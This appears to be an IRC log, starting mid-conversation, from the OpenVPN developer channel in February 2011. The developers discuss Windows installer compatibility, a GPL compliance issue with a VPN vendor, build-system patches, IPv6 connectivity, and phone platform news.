weeks ago (british guy) 06:48 <@cron2> no, it's very easy :-) "give all of it to janjust and me" 06:48 <@mattock> let's see what they have in the works 06:49 <+krzee> i take those from time to time as well 06:49 <+janjust> in short: if it's a well-defined and well-bounded project then I'm interested and available 06:49 <+janjust> if it involves long-term support then it's a different matter 06:50 <+krzee> +1, lol 06:52 <+janjust> who can teach the vpnHelper new tricks? 06:55 <@mattock> janjust: I guess that's the case for most (all?) of us 06:55 <+janjust> aah OK; a few minutes ago the HOWTO link was broken ; I figured we needed to update the !Howto thingamajig 06:55 <+janjust> it seems the HOWTO page on http://openvpn.net/howto is now working again (earlier I got a 404) 07:02 <@dazo> janjust: you should have the privileges to teach vpnHelper stuff ... !learn <keyword> as <text to learn> .... or !forget <keyword> 07:03 <+janjust> you mean "!forget about-it " ? 07:03 <+janjust> alright, I'll try to remember but it's not necessary right now, the HOWTO page seems found again 07:08 <@mattock> dazo: did you hear about the "Nokia moving to Windows Phone" thingy? 07:09 <@mattock> it's official, not just a rumor now 07:09 <@dazo> mattock: yeah ... and I'm ditching Nokia completely from now on (in regards to new phones) until they drop Microsoft 07:09 <@mattock> if they're really stupid, they'll dump meego, too 07:09 <@mattock> put all of their eggs in one basket 07:10 <@mattock> that part was not 100% clear 07:10 <+krzee> [05:10] <vpnHelper> "mirror" is http://openvpn.scarydevilmonastery.net for a mirror of the docs 07:10 <@vpnHelper> Title: openvpn documentation (at openvpn.scarydevilmonastery.net) 07:10 <@dazo> Oh, there's some new rumours now about massive downsizing ... and I presume Qt, Symbian and MeeGo efforts is getting hit badly 07:10 <@cron2> "nobody has ever been fired for buying Microsoft" 07:10 <+janjust> symbian is supposed to be dropped, right? 07:11 <+janjust> krzee: excellent news! this is bushmills site, right? 07:11 <+krzee> yep 07:11 <@mattock> killing off Symbian is a good thing 07:11 <@dazo> janjust: well, at least in the smart phone segment for sure 07:11 <@dazo> but with this news, most likely completely 07:11 <+krzee> and ecrist mirrored them too 07:11 <@cron2> Symbian is the only phone OS today that does IPv6 on 3G 07:11 <@mattock> cron2: oh, interesting 07:11 <@dazo> cron2: maemo5 and MeeGo does, I believe 07:11 <@mattock> dazo: that's correct... it's just linux 07:12 <@cron2> dazo: have no data (neither confirm nor deny) 07:12 <@dazo> at least there are some how-to's on the net ... the problem is to find mobile service providers who does it 07:12 <@cron2> mattock: well, android doesn't... it's also "just linux" 07:12 <@mattock> cron2: there are some other less well-known Linux phone OSes out there... not sure about those 07:12 <@cron2> problem is quite often that the actual wireless stuff is done by a licensed 3rd-party firmware blob that talks to the radio - and the "standard" Broadcom radio+firwmare doesn#t do v6... 07:12 <@dazo> I know for sure maemo5 works with IPv6 via WIFI home :) 07:13 <@cron2> they all do IPv6 on Wifi, but neither Android nor iPhone do Ipv6 on 3G... 07:13 <@dazo> but I'm gonna test out 3G next time I'm in Norway ... I saw a friend got IPv6 connectivity quite recently via mobile connection 07:13 <@dazo> aha 07:14 <@cron2> oh, please test and report! :-) 07:14 * dazo will do :) 07:16 <@dazo> Actually, I have quite recently set up a Zimbra mailserver (with IPv6 support, of course) which this guy have began to use ... and he was travelling with his laptop with built-in 3G ... and I was surprised to see IPv6 addresses in mail headers in mails from him ... so that's how I noticed it :) 07:17 <@mattock> dazo: ah, Zimbra... I actually built Zimbra from sources ~2 years ago 07:17 <@mattock> what a terrible mess 07:17 <+janjust> we use Zimbra at work to share agenda's coz it was the only offering that was capable of serving all devices (web, desktop, laptop, smartphone, pda) 07:18 <@dazo> I believe that's nasty ... well, I set up a VM with CentOS5.5 ... and pulled in the Zimbra RPM ... it was actually pretty decent installation 07:18 <+janjust> but we went for a commercial offering, not just the open source variant - 07:18 <@mattock> dazo: yes, installing of the packages is easy 07:18 <@dazo> the only thing I dislike about it, is that it is CPU and memory hungry 07:18 <@mattock> at the time it was not even possible to get a stable/released version of zimbra from their repositories 07:18 <@mattock> e.g. by checking out a tag or something 07:18 <@dazo> ahh ... well, a lot has happened in two years :) 07:19 <@mattock> I sure hope so 07:19 <@mattock> do they still use the Perforce VCS? 07:19 <@dazo> I dunno 07:19 <@mattock> anyways, I got the strong impression that they're only doing OSS for marketing purposes 07:19 <@dazo> we're using Zimbra (commercial variant as well) at my work too ... and even the ActiveSync stuff in the N900 works pretty well for calendar sync 07:19 <+janjust> perforce/p4 was a nice VCS ... when I had to use it 10 yrs ago 07:20 <+janjust> yep dazo, that kind of stuff is supported only in the commerical version, not the OSS version 07:20 <@dazo> janjust: have you seen Zarafa? and Z-Push? 07:20 <@mattock> I just went lurking on meego and meego-dev channels... they seem pretty active 07:20 <+janjust> dazo: zarafa: yes ; z-push : no ; zarafa wasn't as nice as Zimbra and didn't support all devices that people use around here 07:21 <@mattock> so unless Nokia drops all support and others (Intel, AMD) after it, then Meego should be fine 07:21 <@dazo> and there's even some work going on now to make Z-Push work with Zimbra too ... Z-Push == Active Sync provider 07:21 <+janjust> that's the trouble when you don't forcefeed a Microsoft Winphone down everybody's throat ;-) 07:21 <@dazo> mattock: well, for Intel and AMD, this is kind of good news ... as then they don't need so much focus on the ARM port of MeeGo ... 07:21 <@dazo> which Nokia is driving right now 07:22 <@mattock> I guess amd/intel are mostly interested in tablet etc 07:22 <@dazo> yeah, and ARM is biting into that segment as well ... 07:23 <@dazo> there's done quite some work on ARM servers too ... so the ARM interest is growing, which is bad news for Intel/AMD 07:23 <@dazo> (esp. since Intel sold their ARM stuff - Xscale - to Marvell some years ago) 07:24 <@dazo> mattock: from #meego topic: For 'bar' talk (rumours, gossip, etc), please go to #meego-bar 07:24 <@dazo> :p 07:25 <@mattock> oh, rumours and gossip, excellent! :D 07:25 <@dazo> heh 07:25 * janjust always got confused about arm, intel, x-scale etc... http://en.wikipedia.org/wiki/StrongARM : now I get it 07:25 <@vpnHelper> Title: StrongARM - Wikipedia, the free encyclopedia (at en.wikipedia.org) 07:26 <@dazo> heh ... yeah, I think ARM stuff confused even Intel ... so it was better for them to get rid of it :-P 07:26 <+janjust> yeah but I'm from the generation who once thought an Acorn Archimedes was the coolest PC ever 07:27 <@mattock> janjust: oh, but that _was_ cool 07:27 <@mattock> didn't it have OS written in Basic? 07:28 <@cron2> oh, Acorn, I remember. Friend of mine had one, and Mandelbrot stuff on that machine was wwaaaaayyy fast :-) 07:28 <@dazo> lol :) 07:28 * dazo belongs for to the Atari ST generation 07:28 <+janjust> mattock: you're probably thinking about BBC Basic: http://en.wikipedia.org/wiki/BBC_BASIC#Acorn_Archimedes_.28RISC_OS.29 07:28 <@dazo> s/for/more/ 07:28 <@vpnHelper> Title: BBC BASIC - Wikipedia, the free encyclopedia (at en.wikipedia.org) 07:28 <+janjust> BBC Basic was Waaaaaay cool - much cooler than any other kind of BASIC out there 07:29 <@dazo> I remember porting BBC Basic to the Basic which was provided on my fathers Sharp MZ-80A :-P 07:29 <@dazo> but the way cool stuff from BBC Basic, with "advanced" graphic, I could just forget about 07:30 <+janjust> yep esp the "advanced" graphics had a high drool-factor 07:30 <@dazo> yeah :) 07:33 * janjust was waiting for someone to bring up "Amiga" ... 07:34 * dazo killed them all on this channel ... long time ago .... :-P 09:18 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:43 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:42 -!- dazo is now known as dazo_afk 13:35 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Quit: Lost terminal] 13:36 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 13:39 -!- s7r [~s7r@82.76.237.104] has joined #openvpn-devel 13:48 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:21 -!- s7r [~s7r@82.76.237.104] has left #openvpn-devel [] 15:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:51 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 15:55 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 16:08 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Tue Feb 15 2011 00:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:46 -!- dazo_afk is now known as dazo 02:57 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:13 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 03:15 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 05:05 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:05 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:05 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:06 < waldner> is 2.2 going to support IPv6 transport, or is it for 2.3? 05:08 <+janjust> If I understand correctly, 2.2 supports tunneling ipv6 traffic over tap or tun 05:08 <+janjust> it does not yet support connecting to a server via IPv6 - that will be in 2.3 05:08 < waldner> yes, that's what I asked 05:08 < waldner> ok thanks 05:10 < waldner> s/asked/wanted to know/ 05:11 <+janjust> np 05:12 <@dazo> 2.3 will have IPv6 support 05:12 <@dazo> 2.2 will only ship an updated TUN/TAP driver for Windows with IPv6 support 05:12 <@dazo> waldner: janjust: ^^^ 05:13 < waldner> cool thanks 06:31 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 06:31 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 06:32 -!- mode/#openvpn-devel [+o raidz] by ChanServ 06:38 <@dazo> janjust: I just noticed an update at my work related to running OpenVPN on Windows ... 'Once you have downloaded the installer, right-click on the file and go to Properties->Compatibility. For Windows 7 users, check the box next to "Run this program in compatibility mode for:" and select "Windows Vista" from the dropdown box. Regardless of your Windows version, check the box under "Privilege Level" for "Run this program as an administr 06:38 <@dazo> ator.' ... is that some useful info which can help? (meaning, should it be in vpnHelper on #openvpn?) 07:41 <+ecrist> dazo: yes, that's what we have our users do, except the part about windows vista 07:42 <@dazo> ecrist: yeah, I thought that tweak was more "unknown" ... might be of some kind of help 08:09 <+janjust> dazo: why does it need to be run as "run in compat mode for vista" ? what does that do/help/solve? 08:09 <@dazo> janjust: I dunno ... I just read it on an internal wiki 08:10 <@dazo> on the other hand ... I see they're providing 2.1_rc19 for the windows users ..... grrr ... need to file a ticket about that to our IT guys 08:10 <@dazo> it *might* be related to 2.1_rc19 08:10 <+ecrist> tell them we know some openvpn devs. 08:11 <+ecrist> dazo: that's my guess, iirc the tap adapter wouldn't install on win 7 on the 2.1RCs 08:11 <@dazo> ecrist: heh :) I'll tell them ;-) 08:11 <+janjust> hmmm I now have win7 64bit on my laptop as well; I can try installing both rc19 and 2.1.4 or 2.2beta5 08:12 <+janjust> is the 2.1rc19 still downloadable somewhere? 08:12 <@dazo> well, would tap installation influence that the openvpn binary is running in Vista support mode? 08:12 * dazo looks for the archive 08:13 <+janjust> if the installer checks for the windows version and does not properly install the tap driver on win7 then yes it would matter; I could foresee the installer checking "if vista do blah else do blahblah" 08:13 <+janjust> whereas it should be something like "if win_version > vista then blah else blahblah" 08:13 <+janjust> err , >= 08:14 <@dazo> janjust: http://openvpn.net/release/old/ 08:14 <@vpnHelper> Title: Index of /release/old (at openvpn.net) 08:14 <@dazo> err 08:14 <+janjust> dazo; that does not contain 2.1, just 2.0 08:14 <@dazo> janjust: s/old// 08:15 <+janjust> dazo: got it 08:15 <@dazo> :) 08:17 <+janjust> I just downloaded 2.1rc19 and installed it on my win7 box, *without* using "vista compat mode" 08:17 <+janjust> no problems so far 08:18 <@dazo> okay ... then it might be something configuration specifics ... maybe .... I haven't checked the windows config file 08:18 <+janjust> I'm trying to set up a connection now 08:24 -!- s7r [~s7r@82.77.117.70] has joined #openvpn-devel 08:27 <+janjust> hmmm hold, almost there, but I think I understand why the "vista compat mode" was added 08:28 <+janjust> if you install it without 'vista compat mode' , then install the config files as a regular user, then start the openvpn gui as administrator then the config files are "lost" (i.e. stored in a windows virtual store) 08:29 <@dazo> that might be spot-on 08:48 <@mattock> Essobi: Windows build instruction updated: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 08:48 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 08:50 * janjust really hates Windows Virtual Stores (I'm getting lost) 09:02 <+janjust> dazo: got it: the "run in vista compat mode" is a leftover from much older 2.1-rc candidates 09:02 <+janjust> 2.1rc7 for example refuses to install on win7 unless "vista compat mode" is turned on 09:02 <+janjust> 2.1rc19 does not need it; 2.1.4 certainly does not need it 09:08 <+ecrist> moral to this story is, straighten out your IT folks at redhat. ;) 09:08 <@dazo> ecrist: I will :) 09:08 <@dazo> janjust: thanks for checking it out! 09:08 <+ecrist> ping mattock 09:09 <@mattock> pong ecrist 09:09 <+ecrist> did you ever get anywhere regarding proXPN? 09:09 <@mattock> yep 09:09 <@mattock> my first mail went to /dev/null, but they were very responsive to my second mail 09:09 <+ecrist> mind sharing? 09:10 <@mattock> yep, so they pulled off their client installer right away when Jonathan contacted them 09:10 <@mattock> at least the link to it 09:10 <@mattock> I think they're going to put the sources on a web/ftp server somewhere 09:10 <@mattock> they say they have not modified OpenVPN, which should be easy to verify by comparing openvpn.exes 09:11 <+ecrist> absolutely 09:11 <@mattock> they were also asking if there would be somebody (in the community) that could do OpenVPN-related contract work for them 09:11 <+ecrist> I know they modified the tunnelblick sources, though. 09:11 <@mattock> yes, that's right 09:11 <+ecrist> did you point them here? 09:11 <@mattock> yep 09:12 <@mattock> today I asked about what kind of consulting they need 09:12 <+ecrist> looks like they have a nice service, to be honest, but they need to play by the same rules the rest of us do. 09:12 <@mattock> yep 09:12 <@mattock> it seems they just didn't think about it 09:13 <@mattock> I'm 99,9% sure it was an unintentional GPLv2 violation 09:14 <@mattock> hmm, something wrong with pwm after JDK update... got to debug 09:15 <+ecrist> good luck with that. ;) 09:16 <+ecrist> I'm certain it was an oversight, as well. If we're not assertive of our rights, though, we forfeit them. 09:17 <@mattock> ok, working 09:18 <@mattock> for some reason tomcat restart did not do the trick... needed to do stop + start 09:19 <@mattock> ecrist: also, it does not matter if they have modified OpenVPN or not: they still have to provide the source code 09:19 <@mattock> otherwise how could anybody check if that's the case? 09:20 <@mattock> and the license says so, too :) 09:24 <+ecrist> true 09:35 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 09:55 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 10:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:05 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:06 < Essobi> mattock: YAY.. aww he's gone. 11:11 <@dazo> jamesyonan: have you had any chance to look at the patches from mattock to the mailing list? regarding the python build system ... we're concerned if and how that will make your build setup blow up 11:11 <@jamesyonan> no, I haven't yet 11:11 <@jamesyonan> I'm totally swamped this week 11:12 <@dazo> okay 11:12 <@dazo> of course, it all depends on how you envision the future of OpenVPN AS client and the community client ... if you in the future will just pick the community builds and ship in AS, then you would have less things to worry about 11:13 <@dazo> but if you require to build the AS client from source , then this will be important for you to keep an eye on it 11:15 <@jamesyonan> where can I look at the patches? 11:15 <@dazo> jamesyonan: http://thread.gmane.org/gmane.network.openvpn.devel/4406 11:15 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 11:16 <@dazo> some info about the patches is found here: http://thread.gmane.org/gmane.network.openvpn.devel/4403 11:16 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 11:27 <@jamesyonan> dazo: I took a look at the patches 11:27 <@dazo> yeah? any risks from your side? 11:28 <@dazo> I'm going to implement these patches into the 2.2-RC candidate, and mattock will clean them up, especially related to manifest files and start menu issues for the final 2.2 release 11:29 <@jamesyonan> I'm wondering why we need to parse config-win32.h 11:29 <@jamesyonan> and why are we moving settings out of settings.in into version.m4 11:30 <@jamesyonan> the basic idea of the build system is to consolidate all settings in settings.in 11:30 <@dazo> ahh, we implemented a feature in the --help screen a while ago ... so that it shows what kind of features are compiled into the binary 11:30 <@dazo> which patch does the settings.in -> version.m4? 11:31 <@jamesyonan> 3/13 11:31 <@dazo> ahh, we basically considered that information we moved over as version information and not settings 11:32 <@dazo> and it simplified some of the other build issues later on, iirc 11:32 <@jamesyonan> so are you saying that we're only parsing config-win32.h for informational purposes, not as a source for settings info? 11:33 <@dazo> that I am not 100% sure of, but I believe it is also used for settings as well 11:33 <@jamesyonan> I think it would be ideal if all build settings would be in settings.in 11:34 <@dazo> yeah, agreed ... two places with settings is one too much 11:34 <@dazo> I'm reluctant to change this now before 2.2 is ready ... but for the 2.3 release, that's a good thing to fix 11:34 <@jamesyonan> I think the version.m4 stuff was broken off from settings.in because some settings needed to be accessible to non-windows autoconf build system 11:36 <@dazo> hmm, I see ... well, I'm certain the building works on autoconf based systems ... not sure if we've done a windows based autoconf building lately, though 11:36 <@jamesyonan> also, I want to make sure that the changes still support building only openvpn.exe via build_exe.py script 11:36 <@dazo> I think that is covered by build_all.py --notap 11:37 <@jamesyonan> I'm hoping we can avoid supporting autoconf build on Windows -- I'm wondering if people still use this? 11:38 <@dazo> I know people who build windows binaries in Linux uses this approach ... Fedora have a cross compiler available "out-of-the-box" almost 11:38 <@dazo> so, I doubt we can chop off the windows build ... however! 11:39 <@dazo> the TAP driver, we can probably chop off ... as that requires WinDDK stuff and signing for proper releases ... that belongs more into the python build, IMHO 11:40 <@dazo> What about that we refocus the autotools based building to only build the OpenVPN binaries ... no tap driver ... and then move all the python building stuff out of the openvpn tree, to focus the source tree only only openvpn 11:41 <@dazo> using git submodule, you can then pull down the python based build tree ... do git submodule init ; git submodule update ... and then you start building, as those init/update calls will then pull down the openvpn source code as well 11:43 <@jamesyonan> that sounds involved 11:47 <@dazo> heh, well, not sure what you mean by that ... 11:56 -!- Netsplit *.net <-> *.split quits: @cron2, @jamesyonan, EO_ 12:06 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 12:06 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:06 -!- ServerMode/#openvpn-devel [+o cron2] by jordan.freenode.net 12:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:10 -!- ServerMode/#openvpn-devel [+o jamesyonan] by jordan.freenode.net 12:15 * dazo need to go 12:18 -!- dazo is now known as dazo_afk 12:50 -!- s7r [~s7r@82.77.117.70] has left #openvpn-devel [] 14:18 <+ecrist> raidz: or jamesyonan: http://openvpn.net/index.php/access-server/download-openvpn-as-sw.html lists Mac as MAC, Mac is not an acronym. 14:19 <@vpnHelper> Title: Software Packages (at openvpn.net) 14:21 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 14:21 <+ecrist> raidzx: http://openvpn.net/index.php/access-server/download-openvpn-as-sw.html lists Mac as MAC, Mac is not an acronym. 14:21 <@vpnHelper> Title: Software Packages (at openvpn.net) 14:24 -!- Essobi_ [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 14:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:27 -!- Netsplit *.net <-> *.split quits: Essobi, @raidz 14:29 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 14:29 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 14:36 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 14:48 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 15:15 -!- raidzxx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 15:25 -!- Netsplit *.net <-> *.split quits: raidzx 15:58 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 15:58 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 16:03 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 260 seconds] 16:05 -!- raidzxx is now known as raidz 16:05 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 16:05 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:06 <@raidz> ecrist: fixed 16:14 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 16:26 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 16:26 -!- mode/#openvpn-devel [+o patelx] by ChanServ 16:34 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has joined #openvpn-devel 16:34 -!- janjust [~janjust@s5596c956.adsl.wanadoo.nl] has quit [Changing host] 16:34 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 16:34 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:59 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 17:01 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:23 <+ecrist> raidz: thanks 17:23 <+ecrist> raidz: it still says MAC instead of Mac 17:23 <+ecrist> OpenVPN server capabilities, enterprise management capabilities, simplified OpenVPN Connect UI, and OpenVPN Client software packages that accommodate Windows, MAC, and Linux OS environments 17:27 <@raidz> ecrist: yeah, weird, let me try that again 17:28 <@raidz> ecrist: can you please check again and confirm it shows up for you as Mac? 17:29 <+ecrist> now it shows up correctly. 17:29 <@raidz> ecrist: great! thanks or the heads up! 17:29 <+ecrist> no problem. 17:30 <+ecrist> now you just need to get around to releasing a freebsd package... 22:02 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 22:06 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] --- Day changed Wed Feb 16 2011 01:15 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:06 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:16 -!- dazo_afk is now known as dazo 05:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:01 <@mattock> ecrist: I'll start setting up new pwm version 06:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 06:59 <+ecrist> comcast is working in my area today, so vpnhelper is going to be down most of today 07:00 <@dazo> :( 07:00 <+ecrist> this is a planned outage on their part, and they did give me notice yesterday 07:00 <+ecrist> I'm only here because I can tether my laptop to my phone. 08:50 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 08:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:32 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 09:32 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 09:32 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:32 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:35 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 09:37 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 09:37 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 09:37 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:37 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:40 * janjust is now available in IPv6 format as well :) 09:42 < Dark-Fx> native ipv6? 09:42 <+janjust> I'm connected to the internet via native IPv6 now, yes. 09:42 < Dark-Fx> join the club then :-P 09:43 < Dark-Fx> My IPv6 is native, but my IPv4 is tunneled 09:43 < Dark-Fx> I'm awesome 09:43 < Dark-Fx> at least to my laptop right now 09:44 <+janjust> actually my desktop has both IPv4 and IPv6 but the IPv6 is not connected to the internet directly; I'm tunnelling (using SSH) to another box which does have native IPv6 out to the internet 09:45 < Dark-Fx> Ah. I'm tunneling my IPv4 because I need a 'real' address on this netbook in my lap 09:45 < Dark-Fx> my vpn has a few extra IPs in it's /28 just for this purpose 09:47 * dazo is envious on janjust ... as he only got tunnelled IPv6 09:48 <+janjust> hehe thx dazo; it also means I could do some (native) IPv6 tests for openvpn 2.3 09:49 * janjust is envious on Dark-Fx : he also has DNSv6 for his connection 09:49 <@dazo> cron2_: ^^^^^ 09:50 <@dazo> janjust: that'll be great! 09:56 < Dark-Fx> :-P 09:57 < Dark-Fx> there's not really a good way in linux to force the proper external ipv6 address when the machine has 'many' 09:57 < Dark-Fx> supposedly if it's the last address added in the stack, it should be the primary sender, but it doesn't always work 09:57 <+janjust> actually your hostname resolves to both an IPv4 and an IPv6 address 09:58 < Dark-Fx> The machine I'm IRCing from is dual stack native 09:58 < Dark-Fx> I'm ssh'ed to it 09:59 < Dark-Fx> going to try to force a different src ip, so I'll probably drop and reconn 10:07 < Dark-Fx> ooh, that's a problem, secondary nameserver doesn't have this other range in it's zonefile 10:07 < Dark-Fx> I'll fix that 10:10 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:16 -!- Dark-Fx__ [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 10:16 -!- Dark-Fx__ [~bamcpher@2607:f4b8:7::1] has quit [Client Quit] 10:23 -!- Dark-Fx [~bamcpher@rt.fxaffinity.com] has quit [Quit: Do Not Push.] 10:23 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 10:24 < Dark-Fx> there we go 10:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:59 -!- s7r [~s7r@ACBE7DA1.ipt.aol.com] has joined #openvpn-devel 12:50 -!- dazo is now known as dazo_afk 13:24 -!- marksaitis [~MK@82.144.242.158] has joined #openvpn-devel 13:24 < marksaitis> If my certificate and DH files are in easy-rsa/keys folder, how do I specify their location in my *.ovpn config file? Is it possible to specify partial path? 13:24 < marksaitis> !git 13:24 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary 13:29 <+ecrist> marksaitis: this is a dev channel, not a support channel. I responded in #openvpn 13:29 < marksaitis> ecrist, ok thanx 13:29 -!- marksaitis [~MK@82.144.242.158] has left #openvpn-devel [] 13:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:44 -!- Essobi_ is now known as Essobi 13:51 < Essobi> mattock: I'll have my dev box in a few working days hopefully. I'll let you know how the build goes. 13:59 <@mattock> essobi: ok, you just need to apply the 13 patches I sent to openvpn-devel two days ago 13:59 <@mattock> otherwise you won't be able to build all of openvpn 14:00 <@mattock> also, there's still one issue in openvpnserv.c which is not (publicly) patched even after my patches 14:18 -!- s7r [~s7r@ACBE7DA1.ipt.aol.com] has quit [Ping timeout: 246 seconds] 15:42 < Essobi> mattock: roger that.. I'll work on whatever I need to once I get my machine.. 15:42 < Essobi> mattock: Thanks again thou. 15:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 255 seconds] 15:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:58 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:47 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:01 -!- raidzx is now known as raidz 17:02 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 17:02 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:53 * ecrist starts poking at ssl-admin again 20:01 -!- Matchstick [~Matchstic@114.249.194.190] has joined #openvpn-devel 20:01 <+ecrist> hello Matchstick 20:01 < Matchstick> hello 20:04 <+ecrist> what brings you around these parts? 20:04 -!- Irssi: #openvpn-devel: Total of 20 nicks [7 ops, 0 halfops, 2 voices, 11 normal] 20:12 < Matchstick> Oh, just I'm developing VPN now, and become a OpenVPN user last year December. 20:14 < Matchstick> I have known open source for 7 years. 20:18 < Matchstick> OpenVPN's mailing list is very lonely. 20:21 <+ecrist> it tends to be, IRC is far more active 20:21 <+ecrist> just not this time of day 20:21 <+ecrist> there is a developer meeting most thursdays, 1800UTC 20:25 -!- Matchstick [~Matchstic@114.249.194.190] has quit [Ping timeout: 240 seconds] 20:25 -!- Matchstick [~Matchstic@72.52.94.228] has joined 